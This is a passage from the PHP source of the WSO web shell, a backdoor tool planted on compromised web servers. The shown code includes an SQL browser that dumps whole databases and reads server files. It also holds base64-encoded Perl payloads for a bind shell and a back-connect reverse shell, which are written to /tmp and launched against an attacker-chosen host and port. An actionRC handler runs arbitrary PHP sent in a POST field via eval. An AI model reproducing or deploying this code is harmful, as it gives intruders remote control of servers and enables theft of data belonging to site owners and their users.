1508 $create = mysql_fetch_array($res);
1509 $sql = $create[1] . ";\n";
1510 if ($fp) fwrite($fp, $sql); else echo($sql);
1511 $this->query('SELECT * FROM `' . $table . '`');
1512 $i = 0;
1513 $head = true;
1514 while ($item = $this->fetch()) {
1515 $sql = '';
1516 if ($i % 1000 == 0) {
1517 $head = true;
1518 $sql = ";\n\n";
1519 }
1520
1521 $columns = array();
1522 foreach ($item as $k => $v) {
1523 if ($v === null)
1524 $item[$k] = "NULL";
1525 elseif (is_int($v))
1526 $item[$k] = $v;
1527 else
1528 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1529 $columns[] = "`" . $k . "`";
1530 }
1531 if ($head) {
1532 $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1533 $head = false;
1534 } else
1535 $sql .= "\n\t,(" . implode(", ", $item) . ')';
1536 if ($fp) fwrite($fp, $sql); else echo($sql);
1537 $i++;
1538 }
1539 if (!$head)
1540 if ($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1541 break;
1542 case 'pgsql':
1543 $this->query('SELECT * FROM ' . $table);
1544 while ($item = $this->fetch()) {
1545 $columns = array();
1546 foreach ($item as $k => $v) {
1547 $item[$k] = "'" . addslashes($v) . "'";
1548 $columns[] = $k;
1549 }
1550 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1551 if ($fp) fwrite($fp, $sql); else echo($sql);
1552 }
1553 break;
1554 }
1555 return false;
1556 }
1557 }
1558
1559 ;
1560 $db = new DbClass($_POST['type']);
1561 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1562 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1563 $db->selectdb($_POST['sql_base']);
1564 switch ($_POST['charset']) {
1565 case "Windows-1251":
1566 $db->setCharset('cp1251');
1567 break;
1568 case "UTF-8":
1569 $db->setCharset('utf8');
1570 break;
1571 case "KOI8-R":
1572 $db->setCharset('koi8r');
1573 break;
1574 case "KOI8-U":
1575 $db->setCharset('koi8u');
1576 break;
1577 case "cp866":
1578 $db->setCharset('cp866');
1579 break;
1580 }
1581 if (empty($_POST['file'])) {
1582 ob_start("ob_gzhandler", 4096);
1583 header("Content-Disposition: attachment; filename=dump.sql");
1584 header("Content-Type: text/plain");
1585 foreach ($_POST['tbl'] as $v)
1586 $db->dump($v);
1587 exit;
1588 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1589 foreach ($_POST['tbl'] as $v)
1590 $db->dump($v, $fp);
1591 fclose($fp);
1592 unset($_POST['p2']);
1593 } else
1594 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1595 }
1596 wsoHeader();
1597 echo "
1598<h1>Sql browser</h1><div class=content>
1599<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1600<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1601<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1602<td><select name='type'><option value='mysql' ";
1603 if (@$_POST['type'] == 'mysql') echo 'selected';
1604 echo ">MySql</option><option value='pgsql' ";
1605 if (@$_POST['type'] == 'pgsql') echo 'selected';
1606 echo ">PostgreSql</option></select></td>
1607<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1608<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1609<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1610 $tmp = "<input type=text name=sql_base value=''>";
1611 if (isset($_POST['sql_host'])) {
1612 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1613 switch ($_POST['charset']) {
1614 case "Windows-1251":
1615 $db->setCharset('cp1251');
1616 break;
1617 case "UTF-8":
1618 $db->setCharset('utf8');
1619 break;
1620 case "KOI8-R":
1621 $db->setCharset('koi8r');
1622 break;
1623 case "KOI8-U":
1624 $db->setCharset('koi8u');
1625 break;
1626 case "cp866":
1627 $db->setCharset('cp866');
1628 break;
1629 }
1630 $db->listDbs();
1631 echo "<select name=sql_base><option value=''></option>";
1632 while ($item = $db->fetch()) {
1633 list($key, $value) = each($item);
1634 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1635 }
1636 echo '</select>';
1637 } else echo $tmp;
1638 } else
1639 echo $tmp;
1640 echo "</td>
1641 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1642 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1643 </tr>
1644 </table>
1645 <script>
1646 s_db='" . @addslashes($_POST['sql_base']) . "';
1647 function fs(f) {
1648 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1649 if(f.p1) f.p1.value='';
1650 if(f.p2) f.p2.value='';
1651 if(f.p3) f.p3.value='';
1652 }
1653 }
1654 function st(t,l) {
1655 d.sf.p1.value = 'select';
1656 d.sf.p2.value = t;
1657 if(l && d.sf.p3) d.sf.p3.value = l;
1658 d.sf.submit();
1659 }
1660 function is() {
1661 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1662 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1663 }
1664 </script>";
1665 if (isset($db) && $db->link) {
1666 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1667 if (!empty($_POST['sql_base'])) {
1668 $db->selectdb($_POST['sql_base']);
1669 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1670 $tbls_res = $db->listTables();
1671 while ($item = $db->fetch($tbls_res)) {
1672 list($key, $value) = each($item);
1673 if (!empty($_POST['sql_count']))
1674 $n = $db->fetch($db->query('SELECT COUNT(*) AS n FROM ' . $value . ''));
1675 $value = htmlspecialchars($value);
1676 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1677 }
1678 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1679 if (@$_POST['p1'] == 'select') {
1680 $_POST['p1'] = 'query';
1681 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1682 $db->query('SELECT COUNT(*) AS n FROM ' . $_POST['p2']);
1683 $num = $db->fetch();
1684 $pages = ceil($num['n'] / 30);
1685 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1686 echo " of $pages";
1687 if ($_POST['p3'] > 1)
1688 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1689 if ($_POST['p3'] < $pages)
1690 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1691 $_POST['p3']--;
1692 if ($_POST['type'] == 'pgsql')
1693 $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1694 else
1695 $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1696 echo "<br><br>";
1697 }
1698 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1699 $db->query(@$_POST['p2']);
1700 if ($db->res !== false) {
1701 $title = false;
1702 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1703 $line = 1;
1704 while ($item = $db->fetch()) {
1705 if (!$title) {
1706 echo '<tr>';
1707 foreach ($item as $key => $value)
1708 echo '<th>' . $key . '</th>';
1709 reset($item);
1710 $title = true;
1711 echo '</tr><tr>';
1712 $line = 2;
1713 }
1714 echo '<tr class="l' . $line . '">';
1715 $line = $line == 1 ? 2 : 1;
1716 foreach ($item as $key => $value) {
1717 if ($value == null)
1718 echo '<td><i>null</i></td>';
1719 else
1720 echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1721 }
1722 echo '</tr>';
1723 }
1724 echo '</table>';
1725 } else {
1726 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1727 }
1728 }
1729 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1730 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1731 echo htmlspecialchars($_POST['p2']);
1732 echo "</textarea><br/><input type=submit value='Execute'>";
1733 echo "</td></tr>";
1734 }
1735 echo "</table></form><br/>";
1736 if ($_POST['type'] == 'mysql') {
1737 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1738 if ($db->fetch())
1739 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1740 }
1741 if (@$_POST['p1'] == 'loadfile') {
1742 $file = $db->loadFile($_POST['p2']);
1743 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1744 }
1745 } else {
1746 echo htmlspecialchars($db->error());
1747 }
1748 echo '</div>';
1749 wsoFooter();
1750}
1751
1752function actionNetwork()
1753{
1754 wsoHeader();
1755 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW";
1756 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1757 echo "<h1>Network tools</h1><div class=content>
1758 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1759 <span>Bind port to /bin/sh [perl]</span><br/>
1760 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1761 </form>
1762 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1763 <span>Back-connect [perl]</span><br/>
1764 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1765 </form><br>";
1766 if (isset($_POST['p1'])) {
1767 /**
1768 * @param $f
1769 * @param $t
1770 */
1771 function cf($f, $t)
1772 {
1773 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1774 if ($w) {
1775 @fwrite($w, @base64_decode($t));
1776 @fclose($w);
1777 }
1778 }
1779
1780 if ($_POST['p1'] == 'bpp') {
1781 cf("/tmp/bp.pl", $bind_port_p);
1782 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1783 sleep(1);
1784 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1785 unlink("/tmp/bp.pl");
1786 }
1787 if ($_POST['p1'] == 'bcp') {
1788 cf("/tmp/bc.pl", $back_connect_p);
1789 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1790 sleep(1);
1791 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1792 unlink("/tmp/bc.pl");
1793 }
1794 }
1795 echo '</div>';
1796 wsoFooter();
1797}
1798
1799function actionRC()
1800{
1801 if (!@$_POST['p1']) {
1802 $a = array(
1803 "uname" => php_uname(),
1804 "php_version" => phpversion(),
1805 "wso_version" => WSO_VERSION,
1806 "safemode" => @ini_get('safe_mode')
1807 );
1808 echo serialize($a);
1809 } else {
1810 eval($_POST['p1']);
1811 }
1812}
1813
1814if (empty($_POST['a']))
1815 if (isset($default_action) && function_exists('action' . $default_action))
1816 $_POST['a'] = $default_action;
1817 else
1818 $_POST['a'] = 'SecInfo';
1819if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
1820 call_user_func('action' . $_POST['a']);
1821exit;